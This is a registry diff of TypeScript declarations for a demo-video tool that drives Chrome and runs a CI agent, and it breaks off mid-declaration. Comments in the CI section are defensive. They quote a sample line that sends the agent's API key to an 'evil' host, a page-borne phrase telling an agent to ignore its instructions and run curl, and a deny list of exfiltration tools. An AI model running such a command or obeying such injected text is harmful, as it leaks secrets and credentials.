@open-take/runtime 0.4.1 → 0.4.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -1,4 +1,4 @@
1
- import { BBox, CaptureLog, CompEvent, CompositionIssue, CompositionIssue as CompositionIssue$1, PlanOpts, ReviewBadge, TakeComposition, formatIssues, validateComposition } from "@open-take/compositor";
1
+ import { AuditCursorOpts, AuditRow, BBox, CaptureLog, CaptureLog as CaptureLog$1, CompEvent, CompositionIssue, CompositionIssue as CompositionIssue$1, PlanOpts, ReviewBadge, TakeComposition, TakeComposition as TakeComposition$1, auditCursor, formatIssues, validateComposition } from "@open-take/compositor";
2
2
 
3
3
  //#region src/types.d.ts
4
4
  /** A point in viewport CSS px (the capture coordinate space). */
@@ -218,7 +218,7 @@ type CaptureOpts = {
218
218
  settleBudgetMs?: number;
219
219
  };
220
220
  /** Drive `plan` against the live app over CDP, return the ground-truth log. */
221
- declare function captureTake(plan: TakePlan, opts: CaptureOpts): Promise<CaptureLog>;
221
+ declare function captureTake(plan: TakePlan, opts: CaptureOpts): Promise<CaptureLog$1>;
222
222
  type InspectElement = {
223
223
  name: string;
224
224
  tag: string;
@@ -260,67 +260,389 @@ type InspectOpts = {
260
260
  * what an agent uses to choose a demo flow. Pure CDP, same as capture, so
261
261
  * the reported coordinate space matches what capture will drive against. */
262
262
  declare function inspectPage(url: string, opts?: InspectOpts): Promise<InspectResult>; //#endregion
263
+ //#region src/take.d.ts
264
+ /** working-directory suffix: `demo.mp4` → `demo.take/` */
265
+ declare const TAKE_DIR_SUFFIX = ".take";
266
+ type TakePaths = {
267
+ /** shared prefix, no extension — `<dir>/<name>` */
268
+ base: string;
269
+ name: string;
270
+ /** `<base>.mp4` — the polished, postable master. The ONLY file outside `dir` */
271
+ mp4Path: string;
272
+ /** `<base>.take/` — the take's working directory; every path below is inside it */
273
+ dir: string;
274
+ compositionPath: string;
275
+ capturePath: string;
276
+ captureLogPath: string;
277
+ /** `review.mp4` — draft copy with burned beat badges (disposable) */
278
+ reviewPath: string;
279
+ /** `draft.mp4` — clean draft-quality re-render (disposable; never clobbers
280
+ * the postable master) */
281
+ draftPath: string;
282
+ /** `ab.mp4` — the A/B variant reel (disposable) */
283
+ abPath: string;
284
+ /** `prev.mp4` — the previous master, kept so "A" can mean revert */
285
+ prevPath: string;
286
+ /** `prev.composition.json` — the composition from before a re-make, kept so
287
+ * hand-edited overrides survive a re-shoot that re-plans from scratch */
288
+ prevCompositionPath: string;
289
+ /** `frames.png` — the beat-aware contact sheet */
290
+ framesPath: string;
291
+ /** `dossier.md` — the agent's persisted exploration harvest (app thesis,
292
+ * hero candidates tried/rejected, selector map, content answers, hazards).
293
+ * Read it before re-exploring; it survives re-makes. */
294
+ dossierPath: string;
295
+ /** `notes.md` — the director's notes, appended one line per note by the
296
+ * editor's Agent panel. The user→agent channel; see notes.ts. */
297
+ notesPath: string;
298
+ /** `notes.cursor` — byte offset of the last note the agent consumed.
299
+ * Written ONLY by the reader, so it never races the server's append. */
300
+ notesCursorPath: string;
301
+ };
302
+ /** A path inside the take's working dir — the ffmpeg intermediates and the
303
+ * per-beat frame sheets, which are members by position, not by name. */
304
+ declare const takeFile: (take: TakePaths, name: string) => string;
305
+ /** Point at any member and get the whole take. Resolution is a pure string
306
+ * transform except for a bare directory, which is scanned for `*.take/`.
307
+ * The master need not exist yet — `make --out` resolves before it writes. */
308
+ declare function resolveTakePaths(input: string): Promise<TakePaths>;
309
+ /** Create the working dir (idempotent). Everything except the master is
310
+ * written inside it, so any verb that writes calls this first. */
311
+ declare function ensureTakeDir(take: TakePaths): Promise<void>;
312
+ /** Friendly preflight: verbs die with a clear message instead of a raw ffmpeg
313
+ * ENOENT when a take is missing the files they need. Old takes (or cleaned
314
+ * ones) may have a composition + mp4 but no kept capture — those can be
315
+ * watched but not re-rendered. */
316
+ declare function requireTakeFiles(take: TakePaths, opts?: {
317
+ capture?: boolean;
318
+ }): Promise<void>;
319
+ type StagedPrev = {
320
+ /** call after the render SUCCEEDS: the staged copy becomes `<base>.prev.mp4` */
321
+ commit: () => Promise<void>;
322
+ /** call when the render fails/refuses: discard the staged copy, keeping the
323
+ * existing prev intact */
324
+ abort: () => Promise<void>;
325
+ };
326
+ /** Stage a copy of the current master so it becomes `prev.mp4` only AFTER the
327
+ * next render succeeds. A refused (validator) or crashed render must NOT
328
+ * clobber the existing revert point — that would make "keep the old one"
329
+ * replay the wrong version. No-op when there is no master yet. This is what
330
+ * makes "A" (keep the old one) a mechanical revert instead of a memory. */
331
+ declare function stagePrev(mp4Path: string, prevPath: string): Promise<StagedPrev>;
332
+
333
+ //#endregion
334
+ //#region src/auth.d.ts
335
+ //# sourceMappingURL=take.d.ts.map
336
+ /** The canonical profile dir for a named auth profile. Names are a single
337
+ * path segment — anything else ("../", "/", spaces-only) would escape or
338
+ * collide with other open-take state under ~/.open-take. */
339
+ declare function profileDir(name: string): string;
340
+ type AuthOpts = {
341
+ /** profile name (dir under ~/.open-take/profiles/) — or pass `dir` */
342
+ name: string;
343
+ /** explicit profile dir (overrides `name`) */
344
+ dir?: string;
345
+ /** where to send the user to log in (default about:blank) */
346
+ url?: string;
347
+ /** explicit Chrome binary (else auto-resolved / auto-downloaded) */
348
+ chromePath?: string;
349
+ };
350
+ type AuthResult = {
351
+ dir: string;
352
+ };
353
+ /**
354
+ * Open a headed Chrome on the persistent profile and resolve when the user is
355
+ * done (Enter on stdin, or the browser quits). The profile dir is returned so
356
+ * callers can print how to use it.
357
+ */
358
+ declare function authProfile(opts: AuthOpts): Promise<AuthResult>;
359
+
360
+ //#endregion
361
+ //#region src/cdp.d.ts
362
+ //# sourceMappingURL=auth.d.ts.map
363
+ declare function resolveChrome(explicit?: string): string | null;
364
+ declare function ensureChrome(explicit?: string): Promise<string>;
365
+
366
+ //#endregion
263
367
  //#region src/cdp-capture.d.ts
264
368
  /** High-fps twin of captureTake. Drives + records via CDP. */
265
- declare function captureTakeCDP(plan: TakePlan, opts: CaptureOpts): Promise<CaptureLog>;
369
+ declare function captureTakeCDP(plan: TakePlan, opts: CaptureOpts): Promise<CaptureLog$1>;
266
370
 
267
371
  //#endregion
268
- //#region src/nav.d.ts
372
+ //#region src/check-take.d.ts
269
373
  //# sourceMappingURL=cdp-capture.d.ts.map
270
- type NavigateTarget = {
271
- /** the page's URL right now — the base for a relative `url`, and the
272
- * destination itself when the step only carries `query` */
273
- current: string;
274
- /** explicit destination from the plan; absolute, or relative to `current` */
275
- url?: string;
276
- /** destination read off the page at capture time (already absolute) */
277
- href?: string | null;
278
- /** params merged onto whichever destination won. The reason this exists
279
- * separately from `url`: the page links to the bare thing, but the demo
280
- * needs it parameterised (`?speed=3` to compress a long animation into the
281
- * shot). Clicking the link could never produce that. */
282
- query?: Record<string, string>;
374
+ /** An affordance the take is expected to demonstrate (e.g. a changeset's
375
+ * user-facing features). Caller-supplied — the checker carries no
376
+ * app-specific knowledge. */
377
+ type InventoryRule = {
378
+ name: string;
379
+ match: {
380
+ /** the covering beat's kind must equal this ("click" / "type" / "press" …) */
381
+ action?: string;
382
+ /** the covering beat's label/keys must contain ANY of these (case-insensitive) */
383
+ targetIncludes?: string[];
384
+ };
385
+ };
386
+ type CheckTakeOpts = {
387
+ composition: TakeComposition$1;
388
+ /** the shoot's ground-truth log — the coverage checks read it. Absent (an
389
+ * old take, a deleted capture.json) ⇒ those stand down; the pixel checks
390
+ * read only the mp4s and still run. */
391
+ captureLog?: CaptureLog$1;
392
+ /** the delivered (cinematic) mp4 — static-tail reads it. Absent ⇒ skipped. */
393
+ deliveredMp4?: string;
394
+ /** the raw capture mp4 (viewport pixels) — dead-opening reads it. Absent ⇒ skipped. */
395
+ captureMp4?: string;
396
+ /** advertised affordances the take must cover. Absent ⇒ check skipped. */
397
+ inventory?: InventoryRule[];
398
+ };
399
+ /**
400
+ * Post-shoot deterministic take check: line the composition's intent up
401
+ * against what the shoot actually produced and report defects in the same
402
+ * shape as validateComposition. The two pixel checks each need a video and
403
+ * SILENTLY SKIP when their path is absent or unreadable — dead-opening reads
404
+ * `captureMp4` (raw viewport pixels; the delivered frame's cinematic backdrop
405
+ * would drown the signal), static-tail reads `deliveredMp4` (the shipped
406
+ * file). Everything else is pure over composition + capture log. Never throws.
407
+ */
408
+ declare function checkTake(opts: CheckTakeOpts): Promise<CompositionIssue$1[]>;
409
+
410
+ //#endregion
411
+ //#region src/ci.d.ts
412
+ //# sourceMappingURL=check-take.d.ts.map
413
+ /** Last N lines of a child's output — enough to say WHY the app never came up
414
+ * (port in use, missing env, crash on boot) without buffering a dev server's
415
+ * unbounded chatter. */
416
+ declare class TailBuffer {
417
+ private readonly max;
418
+ private lines;
419
+ constructor(max?: number);
420
+ push(chunk: string): void;
421
+ tail(n?: number): string;
422
+ }
423
+ type AppProcess = {
424
+ readonly pid: number | undefined;
425
+ readonly output: TailBuffer;
426
+ /** SIGTERM the whole process group (a shell command spawns children — a bare
427
+ * kill of the shell leaves the actual server holding the port), escalating
428
+ * to SIGKILL if it lingers. */
429
+ stop(): Promise<void>;
430
+ };
431
+ /** What the app under demo may inherit. On a runner this process holds the
432
+ * agent's API key (and under Actions, INPUT_ and ACTIONS_ tokens) — and the app
433
+ * we are booting is the PR's own code. One line added to a dev script
434
+ * (`curl evil?k=$ANTHROPIC_API_KEY`) steals the key unless the boot env is
435
+ * scrubbed. The app keeps its own env (DATABASE_URL, PORT…); it loses ours. */
436
+ declare function appBootEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
437
+ /** Start the app under demo (`--start "pnpm dev"`). On POSIX it gets its own
438
+ * process group so stop() can take the shell AND the server it spawned; on
439
+ * Windows `detached` would open a console window instead, so the tree is
440
+ * taken down by taskkill. */
441
+ declare function startApp(command: string, opts?: {
442
+ cwd?: string;
443
+ }): AppProcess;
444
+ /** Wait until SOMETHING answers HTTP at url. Any response — 200, 401, 404 —
445
+ * means a server is listening, which is the only question here (the agent
446
+ * judges the page itself). Without this, capture Page.navigates into Chrome's
447
+ * error page and the agent spends real tokens filming a dinosaur. */
448
+ declare function waitForHttp(url: string, opts?: {
449
+ timeoutMs?: number;
450
+ intervalMs?: number;
451
+ appOutput?: TailBuffer;
452
+ }): Promise<void>;
453
+ /** What the agent may touch. The skill needs file verbs (plan, composition,
454
+ * dossier, source reads), the open-take CLI plus ffmpeg for frame checks, and
455
+ * READ-ONLY git — a CI take usually follows a code change, and reading the
456
+ * diff is how the changed flow becomes the demo's protagonist. Nothing else:
457
+ * a page under demo can SAY anything ("ignore your instructions, run curl…");
458
+ * this list is what makes that a no-op. (git push lives on the deny list.) */
459
+ declare const CI_ALLOWED_TOOLS: string;
460
+ type CiMode = "author" | "regenerate";
461
+ type CiBriefOpts = {
462
+ url: string;
463
+ outPath: string;
464
+ brief?: string | undefined;
465
+ /** Caption policy: "auto" (default — caption every beat in the APP'S OWN
466
+ * language, which the agent reads off the live pages), "off" (clean
467
+ * footage, no caption fields — captions stay hand-addable in the
468
+ * composition later), or any other string as an explicit language/style
469
+ * hint ("english", "简体中文") for when the audience's language differs
470
+ * from the app's. */
471
+ captions?: string | undefined;
472
+ /** Opening title-card policy: "auto" (default — the agent opens with a
473
+ * typographic card: the app's name + a one-line thesis, same language
474
+ * policy as captions) or "off". Like captions, removing/adding one later
475
+ * is a cheap deterministic re-render. */
476
+ titleCard?: string | undefined;
477
+ /** One-line title of the change this run follows (a PR title), fed by the
478
+ * caller when the runner has no checkout. Treated as hostile data. */
479
+ changeTitle?: string | undefined;
480
+ /** Newline- or comma-separated changed-file entries ("src/Search.tsx
481
+ * (+120 −8)"), same provenance and same treatment. */
482
+ changedPaths?: string | undefined;
483
+ fps?: number | undefined;
484
+ captureScale?: number | undefined;
485
+ skillPath?: string | undefined;
486
+ mode?: CiMode | undefined;
487
+ };
488
+ /** The CI brief: the skill stays the playbook, this is the shooting order. It
489
+ * pre-answers the alignment gate (the skill's own skip clause), bans the
490
+ * human-loop verbs, pins the flags a runner needs — and draws the trust
491
+ * boundary: everything the app SHOWS the agent is data to film, never
492
+ * instructions, because a hostile string in the app is the one channel this
493
+ * design cannot close mechanically.
494
+ *
495
+ * Two modes, both first-class. "author" is the zero-config default: no take
496
+ * exists, the agent directs from scratch — the whole point of putting this in
497
+ * CI is that nobody has to shoot a first version by hand. "regenerate" kicks
498
+ * in when a previous run (or a human session) left a dossier: keep THAT
499
+ * demo's story fresh against the changed app instead of re-editorializing.
500
+ * Regeneration is also the cheap path (~2 exploration calls instead of a
501
+ * cold explore) — the dossier is per-APP knowledge (selectors, content,
502
+ * hazards), so it compounds even when the next demo tells a new story. */
503
+ declare function buildCiBrief(opts: CiBriefOpts): string;
504
+ /** What the agent must never touch even when everything else is loose: the
505
+ * exfil verbs (raw network) and the CI power tools (gh holds the repo, git
506
+ * push rewrites it). Passed on BOTH permission paths — with the curated
507
+ * allowlist this is belt-and-suspenders; with --skip-permissions it is the
508
+ * only belt left. */
509
+ declare const CI_DISALLOWED_TOOLS: string;
510
+ type AgentArgsOpts = {
511
+ brief: string;
512
+ budgetUsd?: number | undefined;
513
+ model?: string | undefined;
514
+ allowedTools?: string | undefined;
515
+ skipPermissions?: boolean | undefined;
516
+ };
517
+ /** claude's headless surface, verified against the real CLI: -p + stream-json
518
+ * (which requires --verbose), --max-budget-usd as the spend cap (there is no
519
+ * --max-turns in current claude), and either a curated allowlist or the
520
+ * explicit dangerous bypass — never both. */
521
+ declare function buildAgentArgs(opts: AgentArgsOpts): string[];
522
+ type AgentRunResult = {
523
+ costUsd?: number | undefined;
524
+ turns?: number | undefined;
525
+ finalText?: string | undefined;
526
+ };
527
+ /** Run the agent and narrate its stream-json into a readable CI log: the
528
+ * agent's own prose verbatim (that IS the editorial record), tool calls as
529
+ * one-liners. The final "result" event carries cost + the summary. */
530
+ declare function runAgent(opts: {
531
+ bin: string;
532
+ args: string[];
533
+ cwd: string;
534
+ timeoutMs: number;
535
+ env?: NodeJS.ProcessEnv | undefined;
536
+ logProgress?: boolean | undefined;
537
+ }): Promise<AgentRunResult>;
538
+ /** A ~6s looping teaser for surfaces that render GIF but not video (a PR
539
+ * comment). Palette pass keeps it small enough to actually load. 960 wide is
540
+ * the legibility floor, not a luxury: captions are authored for 1080p, and a
541
+ * real PR's 640-wide gif was the maintainer's first complaint ("blurry") —
542
+ * while ~6s at 960/12fps of UI content still lands well under the ~10MB
543
+ * ceiling GitHub renders inline. Best-effort: a take without a teaser is a
544
+ * warning, never a failed run. */
545
+ declare function renderTeaserGif(mp4Path: string, gifPath: string, opts?: {
546
+ seconds?: number;
547
+ width?: number;
548
+ fps?: number;
549
+ }): Promise<string>;
550
+ /** GitHub speaks files-named-by-env: append key=value to $GITHUB_OUTPUT (the
551
+ * step's outputs) and markdown to $GITHUB_STEP_SUMMARY. Single-line values
552
+ * only — anything multiline goes to a file and the file's PATH is the output,
553
+ * which sidesteps the heredoc-delimiter injection trap entirely. */
554
+ declare function emitGithubOutputs(outputs: Record<string, string>): Promise<void>;
555
+ declare function emitStepSummary(markdown: string): Promise<void>;
556
+ type CiOpts = {
557
+ url: string;
558
+ outPath: string;
559
+ cwd?: string;
560
+ brief?: string | undefined;
561
+ captions?: string | undefined;
562
+ titleCard?: string | undefined;
563
+ changeTitle?: string | undefined;
564
+ changedPaths?: string | undefined;
565
+ startCmd?: string | undefined;
566
+ waitTimeoutMs?: number | undefined;
567
+ agentBin?: string | undefined;
568
+ model?: string | undefined;
569
+ budgetUsd?: number | undefined;
570
+ agentTimeoutMs?: number | undefined;
571
+ fps?: number | undefined;
572
+ captureScale?: number | undefined;
573
+ allowedTools?: string | undefined;
574
+ allowedOrigins?: string | undefined;
575
+ skipPermissions?: boolean | undefined;
576
+ skillPath?: string | undefined;
577
+ dryRun?: boolean | undefined;
578
+ logProgress?: boolean | undefined;
283
579
  };
284
- /**
285
- * Resolve a navigate step to one absolute URL, or null when it cannot be.
580
+ type CiResult = {
581
+ mp4Path: string;
582
+ mode: CiMode;
583
+ beatsPath?: string | undefined;
584
+ gifPath?: string | undefined;
585
+ costUsd?: number | undefined;
586
+ turns?: number | undefined;
587
+ durationS?: number | undefined;
588
+ finalText?: string | undefined;
589
+ /** Set when the agent process died AFTER delivering a fresh, gate-passing
590
+ * master (budget exhausted writing its summary, say) — the take shipped,
591
+ * and the caller should surface this instead of celebrating silently. */
592
+ agentWarning?: string | undefined;
593
+ dryRun?: {
594
+ bin: string;
595
+ args: string[];
596
+ } | undefined;
597
+ };
598
+ /** `ffprobe`d duration of the delivered file — fact, not intent (the
599
+ * composition says what SHOULD have rendered). Undefined when ffprobe is
600
+ * unavailable; the gate then skips rather than blocks. */
601
+ declare function probeDurationS(mp4Path: string): Promise<number | undefined>;
602
+ /** The run's navigation fence: the app's own origin, its
603
+ * localhost/127.0.0.1 twin (same server, two spellings — the commonest
604
+ * false lockout), plus whatever --allowed-origins names (a demo that
605
+ * legitimately hops to a second origin — a deploy's generated domain, a
606
+ * docs site — declares it here; each entry normalizes to an origin). This
607
+ * is the escape hatch the origin pin must ship WITH: without it, a
608
+ * legitimate cross-origin beat is a skipped step + a failed gate, and the
609
+ * agent has no knob to fix it. */
610
+ declare function ciAllowedOrigins(url: string, extra?: string): string;
611
+ /** The whole unattended lane, in order: boot → liveness → agent → PROOF. The
612
+ * proof step is the difference between "a video exists" and "a video is safe
613
+ * to put in front of a reviewing team": zero skipped beats (a missing target
614
+ * produces a shorter video where the cursor glides past dead UI — with a
615
+ * green check) and a sane delivered duration. Below the bar, this throws and
616
+ * the run posts nothing — a missing demo is a fine CI outcome, a garbage one
617
+ * costs the product its trust.
286
618
  *
287
- * Precedence is `href` > `url` > `current`: a destination READ FROM THE PAGE
288
- * beats one written in the plan, because it is the one that reflects what the
289
- * app just did. `current` last means `{ query }` on its own is "reload this
290
- * same page with these params" rather than an error.
291
- */
292
- declare function resolveNavigateUrl(t: NavigateTarget): string | null;
619
+ * The caller (cli.ts) has already installed the skill and resolved Chrome —
620
+ * both are its domain (bundledSkill lives with the package). */
621
+ declare function ciTake(opts: CiOpts): Promise<CiResult>;
293
622
 
294
623
  //#endregion
295
- //#region src/auth.d.ts
296
- //# sourceMappingURL=nav.d.ts.map
297
- /** The canonical profile dir for a named auth profile. Names are a single
298
- * path segment — anything else ("../", "/", spaces-only) would escape or
299
- * collide with other open-take state under ~/.open-take. */
300
- declare function profileDir(name: string): string;
301
- type AuthOpts = {
302
- /** profile name (dir under ~/.open-take/profiles/) — or pass `dir` */
303
- name: string;
304
- /** explicit profile dir (overrides `name`) */
305
- dir?: string;
306
- /** where to send the user to log in (default about:blank) */
307
- url?: string;
308
- /** explicit Chrome binary (else auto-resolved / auto-downloaded) */
624
+ //#region src/edit-server.d.ts
625
+ type EditServerOpts = {
626
+ /** path to the take: its .mp4, its `.take/` working dir, or a file in it. */
627
+ takePath: string;
628
+ port?: number;
629
+ /** open the browser at the served URL (default true). */
630
+ open?: boolean;
309
631
  chromePath?: string;
310
632
  };
311
- type AuthResult = {
312
- dir: string;
633
+ type EditServerDeps = {
634
+ /** Test seam for the long-running renderer. Production uses the real one. */
635
+ renderComposition?: typeof renderComposition;
636
+ /** Test seam immediately after the temp composition is written. */
637
+ beforeCompositionCommit?: () => Promise<void>;
313
638
  };
314
- /**
315
- * Open a headed Chrome on the persistent profile and resolve when the user is
316
- * done (Enter on stdin, or the browser quits). The profile dir is returned so
317
- * callers can print how to use it.
318
- */
319
- declare function authProfile(opts: AuthOpts): Promise<AuthResult>;
639
+ declare function startEditServer(opts: EditServerOpts, deps?: EditServerDeps): Promise<{
640
+ url: string;
641
+ close: () => Promise<void>;
642
+ }>;
320
643
 
321
644
  //#endregion
322
645
  //#region src/frame-diff.d.ts
323
- //# sourceMappingURL=auth.d.ts.map
324
646
  type FrameDiffResult = {
325
647
  /** fraction of the frame's cells that changed (0..1) */
326
648
  coverage: number;
@@ -358,109 +680,92 @@ type AnnotateOpts = {
358
680
  * untouched); events whose diff fails or whose sample window is degenerate are
359
681
  * returned unchanged. Never throws.
360
682
  */
361
- declare function annotateCaptureLog(log: CaptureLog, videoPath: string, opts?: AnnotateOpts): Promise<CaptureLog>;
683
+ declare function annotateCaptureLog(log: CaptureLog$1, videoPath: string, opts?: AnnotateOpts): Promise<CaptureLog$1>;
362
684
 
363
685
  //#endregion
364
- //#region src/cdp.d.ts
686
+ //#region src/frames.d.ts
365
687
  //# sourceMappingURL=frame-diff.d.ts.map
366
- declare function resolveChrome(explicit?: string): string | null;
367
- declare function ensureChrome(explicit?: string): Promise<string>;
368
-
369
- //#endregion
370
- //#region src/edit-server.d.ts
371
- type EditServerOpts = {
372
- /** path to the take: its .mp4, its `.take/` working dir, or a file in it. */
373
- takePath: string;
374
- port?: number;
375
- /** open the browser at the served URL (default true). */
376
- open?: boolean;
377
- chromePath?: string;
688
+ type FramePhase = "intro" | "travel" | "hold" | "tail";
689
+ type FrameCell = {
690
+ /** sample time on the COMPOSITION timeline, ms (the `beats` vocabulary). */
691
+ tMs: number;
692
+ phase: FramePhase;
378
693
  };
379
- type EditServerDeps = {
380
- /** Test seam for the long-running renderer. Production uses the real one. */
381
- renderComposition?: typeof renderComposition;
382
- /** Test seam immediately after the temp composition is written. */
383
- beforeCompositionCommit?: () => Promise<void>;
694
+ type FrameRow = {
695
+ label: string;
696
+ cells: FrameCell[];
384
697
  };
385
- declare function startEditServer(opts: EditServerOpts, deps?: EditServerDeps): Promise<{
386
- url: string;
387
- close: () => Promise<void>;
698
+ type FramePlan = {
699
+ rows: FrameRow[];
700
+ cols: number;
701
+ notes: string[];
702
+ };
703
+ declare function buildFramePlan(comp: TakeComposition$1, opts?: {
704
+ beat?: number;
705
+ }): FramePlan;
706
+ declare function buildFrameSheet(plan: FramePlan, framesPath: string, trimMs: number, tileW?: number): string;
707
+ type FramesOpts = {
708
+ /** densify one beat (1-based) into a 10-cell strip */
709
+ beat?: number;
710
+ /** which delivered file to sample (default the master mp4) */
711
+ sourcePath?: string;
712
+ /** tile width in px. Defaults: 480 for the overview, 720 for a --beat strip
713
+ * (diagnosis wants detail — a 480px tile of a Retina capture is a 1/8-scale
714
+ * thumbnail: enough to suspect a framing bug, not enough to confirm it). */
715
+ tileWidth?: number;
716
+ };
717
+ /** Extract the plan's frames from a delivered take mp4 and tile them into
718
+ * `<base>.frames[.beatN].png`. No Chrome, no render — a handful of ffmpeg
719
+ * seeks; seconds, not minutes. */
720
+ declare function renderFrames(take: TakePaths, opts?: FramesOpts): Promise<{
721
+ framesPath: string;
722
+ sheet: string;
723
+ plan: FramePlan;
388
724
  }>;
389
725
 
390
726
  //#endregion
391
- //#region src/take.d.ts
392
- /** working-directory suffix: `demo.mp4` → `demo.take/` */
393
- declare const TAKE_DIR_SUFFIX = ".take";
394
- type TakePaths = {
395
- /** shared prefix, no extension — `<dir>/<name>` */
396
- base: string;
397
- name: string;
398
- /** `<base>.mp4` — the polished, postable master. The ONLY file outside `dir` */
399
- mp4Path: string;
400
- /** `<base>.take/` — the take's working directory; every path below is inside it */
401
- dir: string;
402
- compositionPath: string;
403
- capturePath: string;
404
- captureLogPath: string;
405
- /** `review.mp4` — draft copy with burned beat badges (disposable) */
406
- reviewPath: string;
407
- /** `draft.mp4` — clean draft-quality re-render (disposable; never clobbers
408
- * the postable master) */
409
- draftPath: string;
410
- /** `ab.mp4` — the A/B variant reel (disposable) */
411
- abPath: string;
412
- /** `prev.mp4` — the previous master, kept so "A" can mean revert */
413
- prevPath: string;
414
- /** `prev.composition.json` — the composition from before a re-make, kept so
415
- * hand-edited overrides survive a re-shoot that re-plans from scratch */
416
- prevCompositionPath: string;
417
- /** `frames.png` — the beat-aware contact sheet */
418
- framesPath: string;
419
- /** `dossier.md` — the agent's persisted exploration harvest (app thesis,
420
- * hero candidates tried/rejected, selector map, content answers, hazards).
421
- * Read it before re-exploring; it survives re-makes. */
422
- dossierPath: string;
423
- /** `notes.md` — the director's notes, appended one line per note by the
424
- * editor's Agent panel. The user→agent channel; see notes.ts. */
425
- notesPath: string;
426
- /** `notes.cursor` — byte offset of the last note the agent consumed.
427
- * Written ONLY by the reader, so it never races the server's append. */
428
- notesCursorPath: string;
727
+ //#region src/lint-plan.d.ts
728
+ //# sourceMappingURL=frames.d.ts.map
729
+ type PlanIssue = {
730
+ severity: "error" | "warn";
731
+ /** dotted/indexed field path, e.g. "steps[3].ms" */
732
+ path: string;
733
+ message: string;
734
+ /** a concrete suggested correction the agent can apply */
735
+ fix?: string;
429
736
  };
430
- /** A path inside the take's working dir — the ffmpeg intermediates and the
431
- * per-beat frame sheets, which are members by position, not by name. */
432
- declare const takeFile: (take: TakePaths, name: string) => string;
433
- /** Point at any member and get the whole take. Resolution is a pure string
434
- * transform except for a bare directory, which is scanned for `*.take/`.
435
- * The master need not exist yet — `make --out` resolves before it writes. */
436
- declare function resolveTakePaths(input: string): Promise<TakePaths>;
437
- /** Create the working dir (idempotent). Everything except the master is
438
- * written inside it, so any verb that writes calls this first. */
439
- declare function ensureTakeDir(take: TakePaths): Promise<void>;
440
- /** Friendly preflight: verbs die with a clear message instead of a raw ffmpeg
441
- * ENOENT when a take is missing the files they need. Old takes (or cleaned
442
- * ones) may have a composition + mp4 but no kept capture — those can be
443
- * watched but not re-rendered. */
444
- declare function requireTakeFiles(take: TakePaths, opts?: {
445
- capture?: boolean;
446
- }): Promise<void>;
447
- type StagedPrev = {
448
- /** call after the render SUCCEEDS: the staged copy becomes `<base>.prev.mp4` */
449
- commit: () => Promise<void>;
450
- /** call when the render fails/refuses: discard the staged copy, keeping the
451
- * existing prev intact */
452
- abort: () => Promise<void>;
737
+ declare function lintPlan(plan: unknown): PlanIssue[];
738
+
739
+ //#endregion
740
+ //#region src/nav.d.ts
741
+ //# sourceMappingURL=lint-plan.d.ts.map
742
+ type NavigateTarget = {
743
+ /** the page's URL right now — the base for a relative `url`, and the
744
+ * destination itself when the step only carries `query` */
745
+ current: string;
746
+ /** explicit destination from the plan; absolute, or relative to `current` */
747
+ url?: string;
748
+ /** destination read off the page at capture time (already absolute) */
749
+ href?: string | null;
750
+ /** params merged onto whichever destination won. The reason this exists
751
+ * separately from `url`: the page links to the bare thing, but the demo
752
+ * needs it parameterised (`?speed=3` to compress a long animation into the
753
+ * shot). Clicking the link could never produce that. */
754
+ query?: Record<string, string>;
453
755
  };
454
- /** Stage a copy of the current master so it becomes `prev.mp4` only AFTER the
455
- * next render succeeds. A refused (validator) or crashed render must NOT
456
- * clobber the existing revert point — that would make "keep the old one"
457
- * replay the wrong version. No-op when there is no master yet. This is what
458
- * makes "A" (keep the old one) a mechanical revert instead of a memory. */
459
- declare function stagePrev(mp4Path: string, prevPath: string): Promise<StagedPrev>;
756
+ /**
757
+ * Resolve a navigate step to one absolute URL, or null when it cannot be.
758
+ *
759
+ * Precedence is `href` > `url` > `current`: a destination READ FROM THE PAGE
760
+ * beats one written in the plan, because it is the one that reflects what the
761
+ * app just did. `current` last means `{ query }` on its own is "reload this
762
+ * same page with these params" rather than an error.
763
+ */
764
+ declare function resolveNavigateUrl(t: NavigateTarget): string | null;
460
765
 
461
766
  //#endregion
462
767
  //#region src/notes.d.ts
463
- //# sourceMappingURL=take.d.ts.map
768
+ //# sourceMappingURL=nav.d.ts.map
464
769
  type NotesRead = {
465
770
  /** notes appended since the cursor, oldest first */
466
771
  notes: string[];
@@ -508,11 +813,170 @@ declare function formatNotes(take: TakePaths, res: NotesRead & {
508
813
  }): string;
509
814
 
510
815
  //#endregion
511
- //#region src/review.d.ts
816
+ //#region src/post-shoot.d.ts
512
817
  //# sourceMappingURL=notes.d.ts.map
818
+ type PostShootPass = "post-shoot" | "re-audit";
819
+ type PostShootIO = {
820
+ /** checkTake over the current delivered mp4 (dead opening / static tail /
821
+ * zoom-vs-payoff / dead beats) */
822
+ checkTake: () => Promise<CompositionIssue$1[]>;
823
+ /** auditCursor over the current delivered mp4 */
824
+ auditCursor: () => Promise<CompositionIssue$1[]>;
825
+ /** Deterministically re-render the delivered mp4 over the frozen capture,
826
+ * replacing it IN PLACE (render to a scratch name, rename over the master
827
+ * only on success — a crashed re-render must not eat the file the first
828
+ * audit measured; see reRenderInPlace). Absent ⇒ report-only: the `check`
829
+ * verb never rewrites a take, and a take already doomed by skipped steps
830
+ * earns no render minutes. */
831
+ reRender?: () => Promise<void>;
832
+ /** one pass's findings, in print order (checkTake first) — caller prints */
833
+ onFindings: (issues: CompositionIssue$1[], pass: PostShootPass) => void;
834
+ /** narration (the re-render decision and its outcome) */
835
+ log: (line: string) => void;
836
+ /** a gate or the re-render crashed — reported, never thrown */
837
+ warn: (line: string) => void;
838
+ };
839
+ type PostShootResult = {
840
+ /** the verdict findings — the last MEASURED value per gate */
841
+ issues: CompositionIssue$1[];
842
+ /** error-severity count in `issues` */
843
+ errors: number;
844
+ /** the bounded re-render ran and the delivered mp4 was replaced */
845
+ reRendered: boolean;
846
+ /** gates that contributed NO measurement to the verdict (crashed on every
847
+ * pass they ran). "No errors" from a run with a crashed gate is not a
848
+ * clean bill — `check` refuses the ✓ on it. */
849
+ crashed: string[];
850
+ };
851
+ /** `make` withholds the healing re-render from a take that skipped steps
852
+ * under strict: the skipped-steps exit 2 fires regardless of anything a
853
+ * re-render could fix, so the render minutes buy nothing. */
854
+ declare const healingWithheld: (skippedSteps: number, strict: boolean) => boolean;
855
+ declare function runPostShootGates(io: PostShootIO): Promise<PostShootResult>;
856
+
857
+ //#endregion
858
+ //#region src/precheck.d.ts
859
+ //# sourceMappingURL=post-shoot.d.ts.map
860
+ type PrecheckIssue = {
861
